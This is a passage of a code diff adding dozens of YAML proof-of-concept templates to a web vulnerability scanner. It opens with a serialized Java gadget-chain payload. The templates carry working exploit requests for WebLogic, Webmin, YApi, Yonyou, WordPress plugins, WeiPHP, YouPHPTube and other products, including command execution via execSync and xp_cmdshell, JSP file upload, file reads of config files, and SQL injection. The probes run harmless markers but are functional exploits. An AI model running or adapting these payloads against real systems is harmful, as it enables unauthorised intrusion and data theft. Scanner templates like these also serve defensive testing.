105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 79 + + + 98 + + + 106 + + + 101 + + + 99 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 54 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + 18 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 19 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 20 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 22 + + + 0 + + + 16 + + + 0 + + + 9 + + + 112 + + + 116 + + + 0 + + + 4 + + + 80 + + + 119 + + + 110 + + + 114 + + + 112 + + + 119 + + + 1 + + + 0 + + + 120 + + + 115 + + + 125 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 120 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 108 + + + 97 + + + 110 + + + 103 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 80 + + + 114 + + + 111 + + + 120 + + + 121 + + + -31 + + + 39 + + + -38 + + + 32 + + + -52 + + + 16 + + + 67 + + + -53 + + + 2 + + + 0 + + + 1 + + + 76 + + + 0 + + + 1 + + + 104 + + + 116 + + + 0 + + + 37 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 47 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 50 + + + 115 + + + 117 + + + 110 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 97 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 46 + + + 65 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 85 + + + -54 + + + -11 + + + 15 + + + 21 + + + -53 + + + 126 + + + -91 + + + 2 + + + 0 + + + 2 + + + 76 + + + 0 + + + 12 + + + 109 + + + 101 + + + 109 + + + 98 + + + 101 + + + 114 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 115 + + + 116 + + + 0 + + + 15 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 77 + + + 97 + + + 112 + + + 59 + + + 76 + + + 0 + + + 4 + + + 116 + + + 121 + + + 112 + + + 101 + + + 116 + + + 0 + + + 17 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 77 + + + 97 + + + 112 + + + 5 + + + 7 + + + -38 + + + -63 + + + -61 + + + 22 + + + 96 + + + -47 + + + 3 + + + 0 + + + 2 + + + 70 + + + 0 + + + 10 + + + 108 + + + 111 + + + 97 + + + 100 + + + 70 + + + 97 + + + 99 + + + 116 + + + 111 + + + 114 + + + 73 + + + 0 + + + 9 + + + 116 + + + 104 + + + 114 + + + 101 + + + 115 + + + 104 + + + 111 + + + 108 + + + 100 + + + 120 + + + 112 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 12 + + + 119 + + + 8 + + + 0 + + + 0 + + + 0 + + + 16 + + + 0 + + + 0 + + + 0 + + + 1 + + + 116 + + + 0 + + + 8 + + + 102 + + + 53 + + + 97 + + + 53 + + + 97 + + + 54 + + + 48 + + + 56 + + + 113 + + + 0 + + + 126 + + + 0 + + + 8 + + + 120 + + + 118 + + + 114 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 120 + + + 112 + + + 120 + + + + + + + + + + + + follow_redirects: false + expression: 'response.status == 202' + - method: GET + path: /_async/favicon.ico + follow_redirects: false + expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")' \ No newline at end of file diff --git a/webscan/pocs/weblogic-cve-2020-14750.yml b/webscan/pocs/weblogic-cve-2020-14750.yml new file mode 100644 index 0000000..7129c38 --- /dev/null +++ b/webscan/pocs/weblogic-cve-2020-14750.yml @@ -0,0 +1,12 @@ +name: poc-yaml-weblogic-cve-2020-14750 +rules: + - method: GET + path: /console/images/%252E./console.portal + follow_redirects: false + expression: | + response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp"))) +detail: + author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless) + weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 + links: + - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html diff --git a/webscan/pocs/weblogic-ssrf.yml b/webscan/pocs/weblogic-ssrf.yml new file mode 100644 index 0000000..1c84c1c --- /dev/null +++ b/webscan/pocs/weblogic-ssrf.yml @@ -0,0 +1,11 @@ +name: poc-yaml-weblogic-ssrf +rules: + - method: GET + path: >- + /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 + headers: + Cookie: >- + publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; + follow_redirects: false + expression: >- + response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed")) diff --git a/webscan/pocs/webmin-cve-2019-15107-rce.yml b/webscan/pocs/webmin-cve-2019-15107-rce.yml new file mode 100644 index 0000000..91489f4 --- /dev/null +++ b/webscan/pocs/webmin-cve-2019-15107-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-webmin-cve-2019-15107-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) + url: request.url +rules: + - method: POST + path: /password_change.cgi + headers: + Referer: "{{url}}" + body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2 + follow_redirects: false + expression: > + response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: danta + description: Webmin 远程命令执行漏洞(CVE-2019-15107) + links: + - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107 diff --git a/webscan/pocs/weiphp-path-traversal.yml b/webscan/pocs/weiphp-path-traversal.yml new file mode 100644 index 0000000..ecf718c --- /dev/null +++ b/webscan/pocs/weiphp-path-traversal.yml @@ -0,0 +1,23 @@ +name: poc-yaml-weiphp-path-traversal +rules: + - method: POST + path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php + body: | + "1":1 + expression: + response.status == 200 + - method: GET + path: /public/index.php/home/file/user_pics + search: | + /public/uploads/picture/(?P.+?)" + expression: + response.status == 200 + - method: GET + path: /public/uploads/picture/{{img}} + expression: + response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP") +detail: + author: sakura404x + version: Weiphp<=5.0 + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html diff --git a/webscan/pocs/weiphp-sql.yml b/webscan/pocs/weiphp-sql.yml new file mode 100644 index 0000000..da2980c --- /dev/null +++ b/webscan/pocs/weiphp-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-weiphp-sql +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+ + expression: + response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) +detail: + author: sakura404x + version: Weiphp<=5.0 + links: + - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md diff --git a/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml b/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml new file mode 100644 index 0000000..4af3e12 --- /dev/null +++ b/webscan/pocs/wifisky-default-password-cnvd-2021-39012.yml @@ -0,0 +1,13 @@ +name: poc-yaml-wifisky-default-password-cnvd-2021-39012 +rules: + - method: POST + path: /login.php?action=login&type=admin + follow_redirects: false + body: >- + username=admin&password=admin + expression: | + response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录,为保证设备安全,请立即修改密码\"}") +detail: + author: Print1n(http://print1n.top) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012 \ No newline at end of file diff --git a/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml b/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml new file mode 100644 index 0000000..5d75468 --- /dev/null +++ b/webscan/pocs/wordpress-cve-2019-19985-infoleak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-wordpress-cve-2019-19985-infoleak +rules: + - method: GET + path: "/wp-admin/admin.php?page=download_report&report=users&status=all" + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"])) +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://www.exploit-db.com/exploits/48698 diff --git a/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml b/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml new file mode 100644 index 0000000..a26f05d --- /dev/null +++ b/webscan/pocs/wordpress-ext-adaptive-images-lfi.yml @@ -0,0 +1,13 @@ +name: poc-yaml-wordpress-ext-adaptive-images-lfi +rules: + - method: GET + path: >- + /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.anquanke.com/vul/id/1674598 + - https://github.com/security-kma/EXPLOITING-CVE-2019-14205 diff --git a/webscan/pocs/wordpress-ext-mailpress-rce.yml b/webscan/pocs/wordpress-ext-mailpress-rce.yml new file mode 100644 index 0000000..523b0f2 --- /dev/null +++ b/webscan/pocs/wordpress-ext-mailpress-rce.yml @@ -0,0 +1,23 @@ +name: poc-yaml-wordpress-ext-mailpress-rce +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/wp-content/plugins/mailpress/mp-includes/action.php" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=&html=&plaintext=&mail_format=standard&autosave=1 + expression: "true" + search: | + - + /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error") +detail: + author: leezp + Affected Version: "wuzhicms-v4.1.0" + vuln_url: "/api/sms_check.php" + links: + - https://github.com/wuzhicms/wuzhicms/issues/184 diff --git a/webscan/pocs/xdcms-sql.yml b/webscan/pocs/xdcms-sql.yml new file mode 100644 index 0000000..07541c1 --- /dev/null +++ b/webscan/pocs/xdcms-sql.yml @@ -0,0 +1,15 @@ +name: poc-yaml-xdcms-sql +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/index.php?m=member&f=login_save" + body: | + username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+ + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: amos1 + links: + - https://www.uedbox.com/post/35188/ diff --git a/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml b/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml new file mode 100644 index 0000000..f0cc2a7 --- /dev/null +++ b/webscan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml @@ -0,0 +1,14 @@ +name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation +rules: + - method: GET + path: /install/ + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: '=< Xiuno BBS 4.0.4' + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348 diff --git a/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml b/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml new file mode 100644 index 0000000..75d69d7 --- /dev/null +++ b/webscan/pocs/xunchi-cnvd-2020-23735-file-read.yml @@ -0,0 +1,15 @@ +name: poc-yaml-xunchi-cnvd-2020-23735-file-read +rules: + - method: GET + path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: ' >= V2.3' + links: + - http://www.cnxunchi.com + - https://www.cnvd.org.cn/flaw/show/2025171 diff --git a/webscan/pocs/yapi-rce.yml b/webscan/pocs/yapi-rce.yml new file mode 100644 index 0000000..b427144 --- /dev/null +++ b/webscan/pocs/yapi-rce.yml @@ -0,0 +1,84 @@ +name: poc-yaml-yapi-rce +set: + redemail: randomLowercase(15) + redpassword: randomLowercase(15) + redproject: randomLowercase(8) + redinterface: randomLowercase(10) + r1: randomLowercase(10) + r2: randomLowercase(10) + r3: randomLowercase(10) + r4: randomLowercase(10) +rules: + - method: POST + path: /api/user/reg + headers: + Content-Type: application/json;charset=UTF-8 + follow_redirects: true + body: | + {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"} + expression: | + response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail)) + + - method: GET + path: /api/group/list + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1")) + + - method: POST + path: /api/project/add + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"} + search: | + tag":\[\],"_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject)) + + - method: GET + path: /api/project/get?id={{project_id}} + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功!")) + + - method: POST + path: /api/interface/add + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}} + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface)) + + - method: POST + path: /api/plugin/advmock/save + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true} + expression: | + response.status == 200 && response.body.bcontains(bytes("成功!")) + + - method: GET + path: /mock/{{project_id}}/{{redinterface}} + expression: | + response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + + - method: POST + path: /api/project/del + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"id":{{project_id}}} + expression: | + response.status == 200 +detail: + author: tangshoupu + info: yapi-rce + links: + - https://github.com/YMFE/yapi/issues/2229 diff --git a/webscan/pocs/yccms-rce.yml b/webscan/pocs/yccms-rce.yml new file mode 100644 index 0000000..e36105d --- /dev/null +++ b/webscan/pocs/yccms-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yccms-rce +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../" + expression: | + response.body.bcontains(bytes(string(r + r1))) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u),violin + yccms: v3.3 + links: + - https://blog.csdn.net/qq_36374896/article/details/84839891 diff --git a/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml b/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml new file mode 100644 index 0000000..e7ca2a7 --- /dev/null +++ b/webscan/pocs/yonyou-grp-u8-sqli-to-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-yonyou-grp-u8-sqli-to-rce +set: + r1: randomInt(1000, 9999) + r2: randomInt(1000, 9999) +rules: + - method: POST + path: /Proxy + follow_redirects: false + body: | + cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'set/A {{r1}}*{{r2}}' + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://www.hackbug.net/archives/111.html diff --git a/webscan/pocs/yonyou-grp-u8-sqli.yml b/webscan/pocs/yonyou-grp-u8-sqli.yml new file mode 100644 index 0000000..5fd8452 --- /dev/null +++ b/webscan/pocs/yonyou-grp-u8-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-yonyou-grp-u8-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /Proxy + body: > + cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: 凉风(http://webkiller.cn/) + links: + - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html \ No newline at end of file diff --git a/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml b/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml new file mode 100644 index 0000000..d2b975a --- /dev/null +++ b/webscan/pocs/yonyou-nc-arbitrary-file-upload.yml @@ -0,0 +1,26 @@ +name: poc-yaml-yonyou-nc-arbitrary-file-upload +set: + r1: randomInt(10000, 20000) + r2: randomInt(1000000000, 2000000000) + r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t" + r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx" +rules: + - method: POST + path: /servlet/FileReceiveServlet + headers: + Content-Type: multipart/form-data; + body: >- + {{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%> + expression: | + response.status == 200 + - method: GET + path: '/{{r1}}.jsp' + headers: + Content-Type: application/x-www-form-urlencoded + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r2))) +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "YONYOU NC > 6.5" + links: + - https://blog.csdn.net/weixin_44578334/article/details/110917053 diff --git a/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml b/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml new file mode 100644 index 0000000..11deeac --- /dev/null +++ b/webscan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce +set: + r1: randomInt(8000, 9999) + r2: randomInt(8000, 9999) +rules: + - method: POST + path: /servlet/~ic/bsh.servlet.BshServlet + body: bsh.script=print%28{{r1}}*{{r2}}%29%3B + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A diff --git a/webscan/pocs/yonyou-u8-oa-sqli.yml b/webscan/pocs/yonyou-u8-oa-sqli.yml new file mode 100644 index 0000000..51aa2c1 --- /dev/null +++ b/webscan/pocs/yonyou-u8-oa-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yongyou-u8-oa-sqli +set: + rand: randomInt(200000000, 220000000) +rules: + - method: GET + path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) + +detail: + author: kzaopa(https://github.com/kzaopa) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5127.yml b/webscan/pocs/youphptube-encoder-cve-2019-5127.yml new file mode 100644 index 0000000..9c7ce3e --- /dev/null +++ b/webscan/pocs/youphptube-encoder-cve-2019-5127.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5127 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getImage.php?base64Url={{payload}}&format=png + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5128.yml b/webscan/pocs/youphptube-encoder-cve-2019-5128.yml new file mode 100644 index 0000000..7f12c83 --- /dev/null +++ b/webscan/pocs/youphptube-encoder-cve-2019-5128.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5128 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/webscan/pocs/youphptube-encoder-cve-2019-5129.yml b/webscan/pocs/youphptube-encoder-cve-2019-5129.yml new file mode 100644 index 0000000..2393096 --- /dev/null +++ b/webscan/pocs/youphptube-encoder-cve-2019-5129.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5129 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/webscan/pocs/yungoucms-sqli.yml b/webscan/pocs/yungoucms-sqli.yml new file mode 100644 index 0000000..5fc2792 --- /dev/null +++ b/webscan/pocs/yungoucms-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yungoucms-sqli +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: >- + /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+ + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: cc_ci(https://github.com/cc8ci) + links: + - https://www.secquan.org/Prime/1069179 \ No newline at end of file diff --git a/webscan/pocs/zabbix-authentication-bypass.yml b/webscan/pocs/zabbix-authentication-bypass.yml new file mode 100644 index 0000000..1cc08ab --- /dev/null +++ b/webscan/pocs/zabbix-authentication-bypass.yml @@ -0,0 +1,11 @@ +name: poc-yaml-zabbix-authentication-bypass +rules: + - method: GET + path: /zabbix.php?action=dashboard.view&dashboardid=1 + 